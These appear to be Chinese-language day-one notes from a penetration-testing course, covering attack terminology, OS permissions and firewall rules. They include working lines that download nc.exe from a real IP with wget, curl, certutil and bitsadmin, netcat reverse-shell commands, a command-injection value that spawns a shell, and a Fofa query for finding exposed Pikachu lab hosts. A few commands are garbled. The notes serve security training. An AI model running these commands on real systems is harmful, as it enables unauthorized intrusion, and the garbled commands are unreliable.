第1天:基础入门-操作系统&名词&文件下载&反弹SHELL&防火墙绕过![img](https://img-blog.csdnimg.cn/img_convert/006d656a299629d7062460a5677f43d6.png)
一、专用术语
1. POC、EXP、Payload与Shellcode
https://www.cnblogs.com/sunny11/p/13583083.html //专有名词介绍
POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。
EXP:全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ' shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。
//POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。
2.撞库
撞库是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。
很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址,这就可以理解为撞库攻击。
3.下载命令
https://forum.ywhack.com/bountytips.php?download
得到shell时,可以使用命令下载工具。
4.综合
前后端,POC(验证)/EXP(利用),Payload(以什么权限给到你)/Shellcode(漏洞利用代码),后门(系统等统称)/Webshell(特指网站),木马(控制电脑,操作)/病毒(完全破坏性程序),反弹(权限移交),回显,跳板,黑白盒测试,暴力破解,社会工程学(个人的个性),撞库,ATT&CK(attack.mitre.org)等
二、操作系统-用途&命令&权限&用户&防火墙
1.个人计算机&服务器用机 区别
服务器规格较高,内存容量高于pc。服务器旨在全天候运行。服务器中的组件通常可以承受更高的压力。
服务器是一台电脑,可以支持多个应用程序同时运行,可以处理多个同时连接,而电脑不能。
pc代表个人计算机,并已成为所有台式计算机的统称。pc不适合太复杂的应用程序。而服务器起着至关重要的作用,并具有丰富的配置和应用程序。与服务器相比,电脑的速度很慢。服务器可以无中断地运行并处理虚拟连接,并且可以控制多个客户端。
2.Windows&Linux常见命令
随用随查:
3.文件权限&服务权限&用户权限等
提权技术 默认拒绝权限比允许权限高 。后期web需要提权
文件权限:是否可打开文件
用户权限:普通用户的权限和管理员用户的权限
4.系统用户&用户组&服务用户等分类
Administrator(管理员用户)拥有系统的所有权限
Guest (来宾用户)只有来宾用户可以使用,guest用户不用可以删掉
用户组是一群用户的统称,给以给这个组配置不同的权限。
Windows是最高权限是system,Linux是root
administrator删不了c:/system32,但是system用户是可以删除的
5.自带防火墙出站&入站规则策略协议
防火墙的入站与出站规则,通常是严进,宽出。
案例:文件上传下载-解决无图形化&解决数据传输
拿到终端操作发现没有nc工具等情况时,通过下载命令,在执行反弹shell
下载命令连接:https://forum.ywhack.com/bountytips.php?download
一般拿到权限只有cmd这个命令行,不能复制下载等,这时候就需要下载命令
这里自己创建一个直接访问www.xiaodi8.com/nc.exe 就可以直接下载的连接。
Linux命令有:wget curl python ruby perl java等
Windows命令有:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
例如:
Linux - wget:wget http://47.100.167.248:8081/nc.exe -O exploit.exe
Linux - curl:curl http://47.100.167.248:8081/nc.exe -o exploit.exe
Windows-Bitsadmin:bitsadmin /rawreturn /transfer down "http://47.100.167.248:8081/nc.exe" c:\\exploit.exe
下载的时候也要看是否有权限执行,如果没有执行权限,那下载也不会成功
把NC.exe上传至根目录。在kali中执行wget http://47.100.167.248:8081/NC.exe -O exploit.exe,就可以下载文件。
cmd执行:
certutil.exe -urlcache -split -f http://47.100.167.248:8081/NC.exe exploit.exe
不过被火绒查杀了。
cmd执行和powershell执行相同道理,都可以进行文件下载执行
三、反弹Shell命令-解决数据回显&解决数据通讯
反弹shell原因:
执行命令的时候,会有数据的回显,告诉自己这个命令是不是执行成功,有没有文件,但是在大部分的测试环境是没有回显的或者是回显是不齐全的。
例如:
useradd 用户名 passwd 密码
测试Linux系统添加用户或修改密码命令交互回显问题
交互时:
回显式:
案例:防火墙绕过-正向连接&反向连接&内网服务器
1.内网 xiaodi8就是服务器
内网 -> xiaodi8
//内网给shell(nc -e cmd 192.168.192.132 5577) ip为要发送给监听器的ip
xiaodi8监听(nc -lvvp 5577)
xiaodi8 !-> 内网
2.防火墙情况下
情况1:xiaodi8 <-> 阿里云 可以互nc
情况2:xiaodi8防火墙 -> 阿里云
aliyun:(nact www.xiaodi8.com 5566 -e /bin/bash)
xiaodi8:(nc -lvvp 5566)
//小迪8不可以外联阿里云,阿里云能连小迪8
情况3:xiaodi8 <- 阿里云防火墙
aliyun:(nact www.xiaodi8.com 5566 -e /bin/bash)
xiaodi8:(nc -lvvp 5566)
//小迪8可以外联阿里云,阿里云不能连小迪8
正向连接:
攻击者作为客户端去连接目标主机服务器端口。相当于是攻击者主动去找服务器。
例如: 情况2:xiaodi8服务器防火墙 -> 阿里云失败
aliyun:(nact www.xiaodi8.com 5566 -e /bin/bash)
xiaodi8:(nc -lvvp 5566)
反向连接:
目标主机作为客户端去主动访问攻击者的端口。相当于目标主机是客户端,攻击者是服务端。
例如: 情况2:xiaodi8防火墙 -> 阿里云
则:aliyun:(nact 5566 -e /bin/bash)
xiaodi8:(nc -lvvp www.xiaodi8.com 5566)
案例:Fofa拿下Pikachu靶场反弹shell
fofa语法:
"pikachu"&&country="CN"&&title=="Get the pikachu"
“pikachu”&&country=“CN”&&title==“Get the pikachu”
用命令把nc上传到对方服务器,然后在代码执行反弹cmd命令
127.0.0.1 & nc -e cmd 124.72.40.235 5566